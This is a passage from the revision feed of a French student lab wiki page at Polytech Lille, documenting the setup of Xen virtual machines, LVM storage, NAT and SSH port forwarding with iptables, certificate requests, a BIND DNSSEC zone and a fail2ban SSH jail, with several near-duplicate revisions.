&amp;lt;/syntaxhighlight&amp;gt;sur terminal&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ensuite : &amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 172.10.0.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ssh des machines de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
    vif = [ &#039;mac=00:16:3E:FA:18:CF,bridge=pont_ironman&#039;, &#039;mac=00:16:3E:FA:18:D0,bridge=SE4&#039; ]&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
    xen shutdown SE4.batman&lt;br /&gt;
    xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
    &lt;br /&gt;
Dans /etc/network/interfaces&lt;br /&gt;
    auto eth1&lt;br /&gt;
    iface eth1 inet6 auto&lt;br /&gt;
    &lt;br /&gt;
Dans batman :&lt;br /&gt;
    reboot&lt;br /&gt;
    ifdown eth1; ifup eth1&lt;br /&gt;
    &lt;br /&gt;
Depuis capbreton :&lt;br /&gt;
    ssh root@&amp;lt;ipv6_eth1_batman&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mascarade ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;et créé le fichier /etc/sysctl.conf puis mettre&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== redirection de port pour ssh ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour eviter de perdre la configuration a chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d&#039;un repertoire keys avec les droits nécessaires&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;DNS&lt;br /&gt;
&lt;br /&gt;
Modification de /etc/bind/named.conf.local&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
PARTIE COMMENTEE&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d&#039;un dossier zones dans /etc/bind et y créer le fichier db.deadpool.tech&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
 IN      NS      ns.deadpool.tech.&lt;br /&gt;
 IN      NS      ns.dardervil.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fefa:18d0&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fefa:18d0&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour restart le service &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d&#039;un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l&#039;autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l&#039;extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fail2ban ===&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier jail.local dans le dossier /etc/fail2ban&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true port = ssh filter = sshd maxretry = 5 findtime = 300 bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans fail2ban.conf (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin pour lancer le service il faut rentrer la cmd suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12011</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12011"/>
		<updated>2026-02-02T09:50:47Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Projet de virtualisation ===&lt;br /&gt;
&lt;br /&gt;
==== Atelier système et réseau, les machines virtuelles ====&lt;br /&gt;
&lt;br /&gt;
===== Création des machines virtuelles =====&lt;br /&gt;
Nous avons créé deux machines avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
disk        = [&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w&#039;,&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.home,xvdb,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.var,xvdc,w&#039;,&lt;br /&gt;
              ]&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;modif le fichier &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;sur terminal&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ensuite : &amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 172.10.0.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ssh des machines de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
    vif = [ &#039;mac=00:16:3E:FA:18:CF,bridge=pont_ironman&#039;, &#039;mac=00:16:3E:FA:18:D0,bridge=SE4&#039; ]&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
    xen shutdown SE4.batman&lt;br /&gt;
    xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
    &lt;br /&gt;
Dans /etc/network/interfaces&lt;br /&gt;
    auto eth1&lt;br /&gt;
    iface eth1 inet6 auto&lt;br /&gt;
    &lt;br /&gt;
Dans batman :&lt;br /&gt;
    reboot&lt;br /&gt;
    ifdown eth1; ifup eth1&lt;br /&gt;
    &lt;br /&gt;
Depuis capbreton :&lt;br /&gt;
    ssh root@&amp;lt;ipv6_eth1_batman&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mascarade ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;et créé le fichier /etc/sysctl.conf puis mettre&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== redirection de port pour ssh ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour eviter de perdre la configuration a chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d&#039;un repertoire keys avec les droits nécessaires&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;DNS&lt;br /&gt;
&lt;br /&gt;
Modification de /etc/bind/named.conf.local&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
PARTIE COMMENTEE&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d&#039;un dossier zones dans /etc/bind et y créer le fichier db.deadpool.tech&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
 IN      NS      ns.deadpool.tech.&lt;br /&gt;
 IN      NS      ns.dardervil.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fefa:18d0&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fefa:18d0&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour restart le service &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d&#039;un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l&#039;autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l&#039;extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=11991</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=11991"/>
		<updated>2026-02-02T08:09:44Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Projet de virtualisation ===&lt;br /&gt;
&lt;br /&gt;
==== Atelier système et réseau, les machines virtuelles ====&lt;br /&gt;
&lt;br /&gt;
===== Création des machines virtuelles =====&lt;br /&gt;
Nous avons créé deux machines avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
disk        = [&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w&#039;,&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.home,xvdb,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.var,xvdc,w&#039;,&lt;br /&gt;
              ]&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
